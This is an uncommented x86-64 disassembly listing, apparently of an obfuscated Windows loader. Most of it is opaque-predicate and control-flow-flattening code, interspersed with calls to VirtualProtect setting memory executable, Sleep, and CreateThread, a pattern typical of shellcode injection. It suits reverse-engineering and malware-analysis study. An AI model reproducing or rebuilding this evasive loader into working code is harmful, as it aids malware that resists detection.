mov ebx, ecx
not ebx
and ebx, 0xd0a70b93
and ecx, 0x2f58f46c
or ecx, ebx
mov ebx, ecx
not ebx
and edx, ebx
and ecx, edi
or ecx, edx
xor ebx, ecx
test ebx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, edx
and bl, al
and cl, r8b
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
xor al, dl
mov edx, eax
xor dl, 1
and dl, bl
and cl, al
or cl, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe8659894
mov ebx, 0x4c4d85b1
cmovne edx, ebx
test al, 1
mov eax, 0xe8659894
cmovne eax, edx
test cl, cl
jmp 0x1401a2f6c
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x7c4de1fa
mov ecx, edx
xor ecx, 0x7c4de1fa
and ecx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x83b21e04
and ecx, 0x7c4de1fb
or ecx, ebx
mov ebx, ecx
not ebx
and edi, 0xeeea4794
and edx, 0x1115b86b
or edx, edi
mov edi, edx
xor edi, 0x118863
xor edx, 0xeeea4794
mov esi, ecx
and esi, 0xf7043408
and ebx, 0x8fbcbf7
or ebx, esi
or ecx, edx
and edx, 0xf7043408
and edi, 0x8fbcbf7
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne cl
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
and cl, bl
mov eax, edx
xor al, r8b
xor bl, r8b
and r8b, dl
or cl, r8b
and al, dl
mov edx, eax
xor dl, 1
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
xor al, 1
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x18e46bd0
mov ebx, 0xfc4e224c
cmovne eax, ebx
test cl, 1
mov ecx, 0x18e46bd0
cmovne eax, ecx
test dl, 1
jmp 0x1401a008b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xef0eea44
and edx, ecx
and ecx, 0x10f115bb
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2004b9
xor ecx, 0xef0eea44
mov edi, edx
not edi
mov esi, ecx
and esi, 0x72d7b902
and ebx, 0x8d2846fd
or ebx, esi
or ecx, edi
and edi, 0x72d7b902
and edx, 0x8d2846fd
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x8f99bb28
mov edx, ecx
and edx, 0x706644d7
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x2fd91109
and edx, 0xd026eef6
or edx, ebx
mov esi, edx
xor esi, 0x490a501a
and ecx, 0x3dbe2246
mov ebx, edi
and ebx, 0xc241ddb9
or ebx, ecx
xor ebx, 0x3dbe2247
and edi, 1
or edi, ebx
mov ecx, edi
not ecx
xor edx, 0xa040aa20
mov ebx, edx
and ebx, 0x16b507c5
and esi, 0xe94af83a
or esi, ebx
or edx, edi
and edi, 0x16b507c5
and ecx, 0xe94af83a
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0xd80a7371
and ecx, edx
not edx
and edx, 0xd80a7371
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x45938730
and ecx, 0xba6c78cf
or ecx, edx
mov edx, ecx
xor edx, 0x4206012c
xor ecx, 0x91882000
and edx, 0x4e17d56d
and ecx, 0xb1e82a92
or ecx, edx
mov edx, ecx
xor edx, 0xc13852d
xor ecx, 0x20002280
and ecx, 0x620472c0
and edx, 0x9dfb8d3f
or edx, ecx
xor edx, 0x9dfb8d3f
setne r8b
sete cl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ebx, ecx
or bl, al
xor cl, al
not cl
and cl, al
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor r9b, r8b
xor r9b, 1
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x9a994d14
mov edx, 0x32636117
cmovne ecx, edx
test al, 1
mov eax, ecx
cmovne eax, edx
jmp 0x140197763
mov eax, 0xe554e2b4
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0x855fafa0
and ecx, ebx
mov edx, ebx
or edx, 0x7aa0505f
mov esi, ecx
not esi
mov eax, edx
and eax, 0xecb557f9
mov edi, r9d
and edi, 0x14aa800
or edi, eax
or edx, esi
and esi, 0xecb557f9
and ecx, 0x134aa806
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x7aa0505e
and edx, 0x855fafa1
or edx, eax
and r9d, 0x50b90662
and ebx, 0xaf46f99d
or ebx, r9d
mov eax, ebx
xor eax, 0x2040e185
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x9f371e18
and edx, 0x60c8e1e7
or edx, ecx
xor ebx, 0x10310600
and ebx, 0x9f371e18
and eax, 0x60c8e1e7
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete al
setne r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
mov edx, ebx
and bl, r9b
and r9b, cl
and dl, al
or dl, r9b
xor dl, 1
or dl, cl
xor dl, 1
and al, cl
or bl, al
xor bl, dl
mov ecx, ebx
xor cl, 1
and cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0xc050500c
mov edi, 0xf877945
cmovne edx, edi
test bl, 1
mov eax, edx
cmovne eax, edi
jmp 0x1401a2f69
mov eax, 0xc2bb28f1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov r10b, byte [rbp - 0x72]
mov al, byte [rbp - 0x71]
mov r8d, r10d
xor r8b, 1
mov r9d, eax
xor r9b, 1
mov ebx, r8d
or bl, r10b
mov r11d, ebx
xor r11b, 1
mov ecx, r11d
and cl, bl
mov edx, r10d
and dl, r8b
mov edi, ecx
and dil, r11b
xor cl, r11b
or cl, dil
mov r11d, edx
and r11b, r10b
xor dl, r10b
or dl, r11b
xor dl, cl
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
or cl, r9b
mov ebx, r9d
xor bl, cl
or cl, r9b
xor cl, 1
or cl, bl
mov r9d, edx
xor r9b, 1
mov ebx, ecx
xor bl, 1
and bl, cl
mov r10d, ebx
and r10b, cl
xor bl, cl
or bl, r10b
and r9b, bl
xor bl, 1
and bl, dl
or bl, r9b
xor al, r8b
and r8b, al
xor al, 1
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor dl, bl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x1c434dc7
mov ebx, 0xe7d23df4
cmovne ecx, ebx
test al, 1
mov eax, 0x1c434dc7
cmovne eax, ecx
jmp 0x140199708
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x82223300
mov ecx, ebx
and ecx, 0x2104c888
or ecx, edx
xor ecx, 0x2104c888
mov edx, ebx
xor edx, 0xa326fb88
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x5cd90476
and edx, 0xa326fb89
or edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x872889e2
and edx, 0x78d7761d
or edx, ecx
and ebx, 0x872889e2
and eax, 0x78d7761d
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete al
cmp dword [0x1402656c4], 9
setg cl
xor al, cl
xor cl, al
and cl, al
mov edx, ecx
xor dl, al
and dl, cl
mov ebx, ecx
and cl, al
not al
xor bl, 1
and bl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xf14ec2d2
mov ebx, 0x5ebb4fc7
cmovne ecx, ebx
test dl, dl
mov edx, 0xf14ec2d2
cmove ecx, edx
test al, al
jmp 0x14019b002
mov r8, qword [rbp - 0x68]
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
mov eax, ebx
xor eax, 0x33caf267
and eax, ebx
not ebx
and ebx, 0x2340b065
and edx, 0x108a4202
or edx, ebx
mov ebx, edx
xor ebx, 0x10020000
xor edx, 0xef75bdfd
mov edi, eax
not edi
mov esi, edx
and esi, 0x9cc6b3e
and ebx, 0x32029041
or ebx, esi
or edx, edi
and edi, 0x9cc6b3e
and eax, 0xf63394c1
or eax, edi
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xcc350d98
and edx, 0x33caf267
or edx, eax
mov ebx, edx
not ebx
mov eax, edx
xor eax, 0x505274d6
and eax, ebx
mov edi, edx
and edi, 0xafad8b29
mov esi, eax
and esi, edi
xor edi, eax
mov eax, dword [0x1402656c4]
or edi, esi
mov esi, edi
not esi
and esi, 0xafad8b28
and edi, 0x505274d7
or edi, esi
and ebx, 1
xor edx, 0xfffffffe
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x69998f83
and edx, 0x9666707c
or edx, ebx
mov ebx, edi
not ebx
mov esi, ebx
and esi, 0x4e4cd9d1
and edi, 0xb1b3262e
or edi, esi
mov esi, edx
xor esi, 0x9022202c
xor edx, 0x69998f83
or ebx, edx
and edx, 0x4e4cd9d1
and esi, 0xb1b3262e
or esi, edx
xor esi, edi
not ebx
or ebx, esi
mov edx, ebx
not edx
mov edi, edx
and edi, 0x4a5a2b5f
and edx, ebx
and ebx, 0xb5a5d4a0
or ebx, edi
mov edi, ebx
xor edi, 0x9525c4a0
xor ebx, 0x4a5a2b5f
mov esi, ebx
and esi, 0x68881810
and edi, 0x9777e7ef
or edi, esi
mov esi, edx
not esi
or ebx, esi
and esi, 0x68881810
and edx, 0x9777e7ef
or edx, esi
xor edx, edi
not ebx
or ebx, edx
mov edx, ebx
not edx
and edx, 0xebbf80c6
and ebx, 0x14407f39
or ebx, edx
mov edx, ebx
xor edx, 0x3631
xor ebx, 0x68108084
and ebx, 0x7c50c98c
and edx, 0x83af3673
or edx, ebx
xor edx, 0x7c50c98c
cmp edx, 0xffffffff
sete r9b
setne r11b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov edx, r11d
xor dl, r9b
and dl, r11b
mov ebx, edx
xor bl, 1
or dl, bl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
and r11b, r10b
and r10b, dl
not dl
and dl, al
or dl, r10b
mov ecx, eax
xor cl, r9b
and cl, al
and al, r9b
or al, r11b
mov ebx, ecx
xor bl, 1
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov r9d, edx
xor r9b, 1
mov ebx, edx
and bl, r9b
and cl, al
mov r10d, ebx
and r10b, dl
xor bl, dl
or bl, r10b
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
mov edx, r9d
and dl, al
xor r9b, al
or r9b, dl
mov edx, r9d
xor dl, cl
test r9b, 1
mov eax, 0xbd6a0ef
mov ebx, 0x9b6afa2a
cmovne eax, ebx
mov qword [rbp - 0x48], r8
test cl, 1
cmove eax, ebx
not dl
test dl, 1
mov ecx, 0xbd6a0ef
jmp 0x14019970b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x476c00fc
mov edx, edi
and edx, 0xb893ff03
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xb893ff02
and edx, 0x476c00fd
or edx, ebx
mov ebx, edx
not ebx
and ecx, ebx
and edx, edi
or edx, ecx
xor ebx, edx
test ebx, edx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor bl, 1
or al, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x92a96202
mov ebx, 0xe094d64c
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
jmp 0x1401a1193
mov eax, 0xf93cb3ab
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0xa0346287
mov eax, ebx
and eax, 0x5fcb9d78
or eax, ecx
mov edi, eax
xor edi, 0x5a898d50
xor eax, 0x80004000
mov ecx, edx
or ecx, 0x85425028
or eax, 1
and eax, 0x85425029
and edi, 0x7abdafd6
or edi, eax
and ecx, 0x85425029
xor ecx, edi
mov eax, ecx
not eax
and edx, 0x2dc5c5d5
and ebx, 0xd23a3a2a
or ebx, edx
mov edx, ebx
xor edx, 0x42381208
xor ebx, 0x2dc5c5d5
mov edi, ecx
and edi, 0x940328e2
and eax, 0x6bfcd71d
or eax, edi
or ecx, ebx
and ebx, 0x940328e2
and edx, 0x6bfcd71d
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
mov ecx, ebx
xor cl, al
or dl, cl
xor dl, 1
and al, cl
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov eax, ecx
not al
and al, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xe63c86e7
mov ebx, 0xefd3bb67
cmovne ecx, ebx
test al, al
mov eax, 0xe63c86e7
cmove ecx, eax
test dl, 1
jmp 0x14019b002
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x76733a0b
and edx, ebx
not ebx
and ebx, 0x1621000b
and ecx, 0x60523a00
or ecx, ebx
xor ecx, 0x60523a00
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x6846327f
and edx, 0x97b9cd80
or edx, ecx
mov ecx, edx
xor ecx, 0xe1caf78b
xor edx, 0x1a040870
and edx, 0xdb466ffa
mov edi, ecx
and edi, 0x24b99005
or edi, edx
mov edx, edi
xor edx, 0x24b99005
mov ebx, edi
xor ebx, 0xac96a74d
and ebx, edx
and ecx, 0x882f3748
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0xa063421e
and ecx, 0x5f9cbde1
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4c5015
and edx, 1
xor edi, 0x24b99004
or edi, edx
mov edx, edi
not edx
and edx, 0xfae498c7
and edi, 0x51b6738
or edi, edx
mov edx, edi
xor edx, 0x11b4038
xor ecx, 0xd7b38aa8
xor edi, 0xfae498c7
mov esi, ecx
and esi, 0xae80af42
and ebx, 0x517f50bd
or ebx, esi
or ecx, edi
and edi, 0xae80af42
and edx, 0x517f50bd
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x423ffaae
and edx, 0xbdc00551
or edx, ecx
xor edx, 0x423ffaae
setne r8b
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor bl, al
and bl, al
mov ecx, ebx
xor cl, 1
and cl, r9b
and bl, r8b
or bl, cl
mov edx, eax
or dl, r9b
xor al, r9b
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
and dl, al
and cl, bl
or cl, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x7ce676bb
mov ebx, 0x1f5f328b
cmovne edx, ebx
test al, 1
mov eax, 0x7ce676bb
jmp 0x1401a1190
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x5b4828f8
mov edx, esi
and edx, 0xa4b7d706
or edx, ebx
xor edx, 0xa4b7d706
mov edi, esi
xor edi, 0xfffffffe
and edi, esi
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0xfc7d768
and edi, 0xf0382897
or edi, edx
and esi, 0xfc7d768
and ecx, 0xf0382897
or ecx, esi
xor ecx, edi
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor cl, r8b
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6df48d2b
mov ebx, 0xec64c239
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
jmp 0x14019e601
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0x9a76feaa
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x6e7a183
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x366a28c9
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x465d9cfd
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xc8da172c
and ebx, ecx
or ecx, 0x3725e8d3
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xadeec371
and edx, 0x4010140c
or edx, esi
or ecx, edi
and edi, 0xadeec371
and ebx, 0x52113c8e
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x7e30cf28
and ecx, 0x81cf30d7
or ecx, edx
mov edx, ecx
xor edx, 0x491527fb
mov ebx, ecx
xor ebx, 0x491527fa
and ebx, edx
xor ecx, 0x86e8d000
and ecx, 0x87e9d309
and edx, 0x78162cf6
or edx, ecx
xor edx, 0x78162cf7
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x8b738f84
and edx, 0x748c707b
or edx, ecx
mov edi, edx
xor edi, 0x842013
xor edx, 0x8300200
or ebx, 0x49b62797
mov ecx, ebx
not ecx
or edx, 0xa6090060
and edx, 0xee390260
and edi, 0x1862597
or edi, edx
and ebx, 0xee390260
and ecx, 0x1040d808
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xc417f109
and ecx, 0x3be80ef6
or ecx, edx
mov edx, ecx
xor edx, 0x60440101
xor ecx, 0x8da1d69e
mov ebx, ecx
and ebx, 0x963a7a60
and edx, 0x69c5859f
or edx, ebx
xor edx, 0x69c5859f
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg bl
mov ecx, ebx
xor cl, r10b
not cl
and cl, r10b
mov eax, ebx
or al, r10b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r9d
xor r9b, r10b
and r10b, bl
and cl, r8b
or cl, r10b
or bl, r8b
xor bl, 1
or bl, r9b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x791632bc
mov ebx, 0xaa7abf06
cmovne eax, ebx
test dl, 1
mov edx, 0x791632bc
jmp 0x14019dc59
mov eax, 0x8279f5d0
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov edx, ebx
xor edx, 0xa889823d
and edx, ebx
mov ecx, ebx
or ecx, 0x57767dc2
mov esi, edx
not esi
mov eax, ecx
and eax, 0xa2da31be
mov edi, r9d
and edi, 0x8018201
or edi, eax
or ecx, esi
and esi, 0xa2da31be
and edx, 0x5d25ce41
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xf0d3921b
and ecx, 0xf2c6de4
or ecx, eax
mov eax, ecx
xor eax, 0xa7a5efd8
xor ecx, 0x585a1027
and r9d, ecx
and eax, ebx
or eax, r9d
xor ecx, eax
test ecx, eax
setne r9b
sete r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov eax, ecx
xor al, r10b
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
or dl, r9b
xor dl, 1
or cl, r10b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
and dl, r8b
xor dl, 1
mov ebx, r8d
xor bl, dl
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
and dl, cl
xor cl, 1
xor bl, 1
and bl, cl
or dl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x82e31614
mov ebx, 0xe49165ad
cmovne eax, ebx
test cl, 1
mov ecx, 0x82e31614
jmp 0x14019c0ca
mov eax, 0xa1eaa1eb
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x56b2aade
and ecx, ebx
not ebx
and ebx, 0x490514bf
and edx, 0xb6faeb40
or edx, ebx
mov ebx, edx
xor ebx, 0x4b22a00
xor edx, 0x4000009e
or edx, 0xa94d5521
mov edi, ecx
not edi
mov esi, edx
and esi, 0x734dd5c9
and ebx, 0x4b22a16
or ebx, esi
or edx, edi
and edi, 0x734dd5c9
and ecx, 0x8cb22a36
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1f169132
and edx, 0xe0e96ecd
or edx, ecx
mov ecx, edx
xor ecx, 0xb65bc413
xor edx, 0x8a43144
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xbcb7f547
and ecx, 0x43480ab8
or ecx, edx
xor ecx, 0x43480ab9
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x81f36f2a
and edx, ecx
and ecx, 0x7e0c90d5
or ecx, ebx
mov ebx, ecx
xor ebx, 0x500890d0
xor ecx, 0x81f36f2a
mov edi, edx
not edi
mov esi, ecx
and esi, 0xae754907
and ebx, 0x518ab6f8
or ebx, esi
or ecx, edi
and edi, 0xae754907
and edx, 0x518ab6f8
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xa48c2fa3
and edx, 0x5b73d05c
or edx, ecx
mov ecx, edx
xor ecx, 0x40d80
xor edx, 0x43139044
and edx, 0xe79bb267
and ecx, 0x18644d98
or ecx, edx
xor ecx, 0x18644d98
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, eax
xor dl, r9b
mov ecx, edx
xor cl, al
and cl, dl
or bl, r8b
or al, r9b
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0xa675819e
mov ebx, 0x7045d124
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0xa675819e
cmovne eax, ebx
jmp 0x1401a1193
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x620d0b2c
and ecx, eax
and eax, 0x9df2f4d3
or eax, edx
mov edx, eax
xor edx, 0x8d60b080
xor eax, 0x620d0b2c
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x32934c7f
and edx, 0xcd6cb380
or edx, edi
or eax, ebx
and ebx, 0x32934c7f
and ecx, 0xcd6cb380
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x4cac0c24
mov ecx, eax
xor ecx, 0x4cac0c24
and ecx, eax
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xcd5f4c87
and ecx, 0x32a0b378
or ecx, edx
mov edx, ecx
xor edx, 0x560c9a49
and ebx, 1
xor eax, 0xfffffffe
or eax, ebx
mov ebx, eax
not ebx
xor ecx, 0x81f340a2
mov edi, ecx
and edi, 0x299065b6
and edx, 0xd66f9a49
or edx, edi
or ecx, eax
and eax, 0x299065b6
and ebx, 0xd66f9a49
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
xor eax, 0x6fd02da2
and eax, ecx
or ecx, 0x902fd25d
mov edx, ecx
not edx
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0x3899e0c
and edx, 0x6c5021a2
or edx, edi
or ecx, ebx
and ebx, 0x3899e0c
and eax, 0xfc7661f3
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7b4d5f64
and ecx, 0x84b2a09b
or ecx, eax
mov eax, ecx
xor eax, 0x21420418
xor ecx, 0x48d5204
and ecx, 0xceaddb25
and eax, 0x315224da
or eax, ecx
mov ecx, eax
xor ecx, 0x10024ca
xor eax, 0x8a20ca24
and eax, 0xba72ca34
and ecx, 0x458d35cb
or ecx, eax
mov eax, ecx
xor eax, 0xba628214
xor ecx, 0x418d204a
and ecx, 0x419d686a
and eax, 0xbe629795
or eax, ecx
xor eax, 0xbe629795
setne cl
sete r8b
cmp dword [0x1402656c4], 0xa
setl al
xor cl, r8b
and cl, r8b
mov ebx, ecx
xor bl, al
and cl, bl
and bl, al
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, eax
or cl, r8b
xor al, r8b
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov r8d, eax
xor r8b, 1
mov r10d, ebx
xor r10b, 1
mov ecx, ebx
and cl, r10b
mov r9d, r8d
and r9b, al
mov edx, ecx
xor dl, 1
xor cl, bl
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, r9d
xor cl, 1
xor r9b, r8b
or cl, al
xor cl, 1
or cl, r9b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov edx, r10d
and dl, al
xor r10b, al
or r10b, dl
mov eax, r10d
xor al, cl
test r10b, 1
mov edx, 0x792677f3
mov ebx, 0xc7ac5206
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0x792677f3
jmp 0x1401a0e8b
mov rax, qword [rbp - 0x60]
mov eax, 0xfe1f5d01
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x58a1a5bc
and edx, ebx
not ebx
and ebx, 0xd41fdab3
and ecx, 0x2be0254c
or ecx, ebx
mov ebx, ecx
